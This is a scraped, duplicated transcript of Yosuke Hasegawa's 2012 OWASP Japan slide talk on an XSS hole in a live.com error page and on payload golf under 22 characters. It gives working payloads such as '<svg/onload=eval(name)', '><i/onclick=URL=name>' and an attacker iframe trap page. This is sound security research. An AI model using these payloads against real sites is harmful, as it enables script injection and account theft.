Short talk of XSS XSS Jun 27 2012

  • Slides: 27
Download presentation
Short talk of XSS 短いXSSの話 Jun 27 2012 Yosuke HASEGAWA OWASP Japan 2 nd

Short talk of XSS 短いXSSの話 Jun 27 2012 Yosuke HASEGAWA OWASP Japan 2 nd local chapter meeting

One day ある日

One day ある日

As always surfed websites, いつものようにWebを眺めてると…

As always surfed websites, いつものようにWebを眺めてると…

Just the usual XSS was found. いつものようにXSSが見つかった。

Just the usual XSS was found. いつものようにXSSが見つかった。

First of all, view-source: とりあえずHTMLソース

First of all, view-source: とりあえずHTMLソース

https: //*. live. com/? param=><h 1>XSSed</h 1><!-<!-- Version: "13. 000. 20177. 00" Server: BAYIDSLEG

https: //*. live. com/? param=><h 1>XSSed</h 1><!-<!-- Version: "13. 000. 20177. 00" Server: BAYIDSLEG 1 C 38; Date. Time: 2012/05/01 15: 13: 23 --> <input type="hidden" value="MESSAGE: A potentially dangerous Request. Query. String value was detected from the client (param="><h 1>XSSed</h 1><!--"). SOURCE: System. Web FORM: " /> XSS caused by error message 不要なエラーメッセージが引き起こしたXSS

v. Microsoft “live. com” v. Over https v. Needless error message Interesting but not

v. Microsoft “live. com” v. Over https v. Needless error message Interesting but not really matter now 興味深いけれど今はどうでもいい

alert is common knowledge for XSSers alertは僕らの常識

alert is common knowledge for XSSers alertは僕らの常識

Reason 理由

Reason 理由

https: //*. live. com/? param=><h 1>XSSed</h 1><!-<!-- Version: "13. 000. 20177. 00" Server: BAYIDSLEG

https: //*. live. com/? param=><h 1>XSSed</h 1><!-<!-- Version: "13. 000. 20177. 00" Server: BAYIDSLEG 1 C 38; Date. Time: 2012/05/01 15: 13: 23 --> <input type="hidden" value="MESSAGE: A potentially dangerous Request. Query. String value was detected from the client ><h 1>XSSed</h 1><!-(param="><h 1>XSSed</h 1><!--"). SOURCE: System. Web FORM: " /> 22 letters max. 最大 22文字

XSS under 22 letters is too hard ><h 1>XSSed</h 1><!-- … 19 letters ><script>alert(1)</script>

XSS under 22 letters is too hard ><h 1>XSSed</h 1><!-- … 19 letters ><script>alert(1)</script> … 26 letters ><script>eval(name)</script> … 28 letters 22文字以下でXSSさせるのは難しい

by Gareth Heyes

by Gareth Heyes

XSS Golf by Gareth Heyes

XSS Golf by Gareth Heyes

Shortest XSS Challanges 19 letters <x/x=&{eval(name)}; // @0 x 6 D 6172696 F Netscape

Shortest XSS Challanges 19 letters <x/x=&{eval(name)}; // @0 x 6 D 6172696 F Netscape 4 22 letters <svg/onload=eval(name) // @0 x 6 D 6172696 F

Go back to the XSS 話を例のXSSに戻して

Go back to the XSS 話を例のXSSに戻して

https: //*. live. com/? param=><h 1>XSSed</h 1><!-<!-- Version: "13. 000. 20177. 00" Server: BAYIDSLEG

https: //*. live. com/? param=><h 1>XSSed</h 1><!-<!-- Version: "13. 000. 20177. 00" Server: BAYIDSLEG 1 C 38; Date. Time: 2012/05/01 15: 13: 23 --> <input type="hidden" value="MESSAGE: A potentially dangerous Request. Query. String value was detected from the client ><h 1>XSSed</h 1><!-(param="><h 1>XSSed</h 1><!--"). SOURCE: System. Web FORM: " /> 22 letters max. 最大 22文字

IE has “URL” property ><i/onclick=URL=name> … 21 letters Mario Heiderich’s work // Trap page created

IE has “URL” property ><i/onclick=URL=name> … 21 letters Mario Heiderich’s work // Trap page created by attacker <iframe src="target" name="javascript: alert(1)"> // or use window. open from Java. Script IEは"URL"プロパティを持っている

Did it! できた!! XSS Filter is disabled

Did it! できた!! XSS Filter is disabled

Variations 20 letters <input type=hidden value=><i/onclick=URL=name> 22 letters <input type=hidden value=""><i/onclick=URL=name>"> 17 letters <input

Variations 20 letters <input type=hidden value=><i/onclick=URL=name> 22 letters <input type=hidden value=""><i/onclick=URL=name>"> 17 letters <input type=text value= onclick=URL=name> Run arbitrary code in 22 letters 22文字あれば任意のコードが実行可能

Shortest Java. Script to run arbitrary code 10 letters eval(name) 9 letters eval(URL) 8

Shortest Java. Script to run arbitrary code 10 letters eval(name) 9 letters eval(URL) 8 letters URL=name 6 letters $(URL) 任意コードを実行する最小のJava. Script

Question? hasegawa@utf-8. jp hasegawa@netagent. co. jp @hasegawayosuke http: //utf-8. jp/ OWASP Japan 2 nd

Question? hasegawa@utf-8. jp hasegawa@netagent. co. jp @hasegawayosuke http: //utf-8. jp/ OWASP Japan 2 nd local chapter meeting Net. Agent http: //www. netagent. co. jp/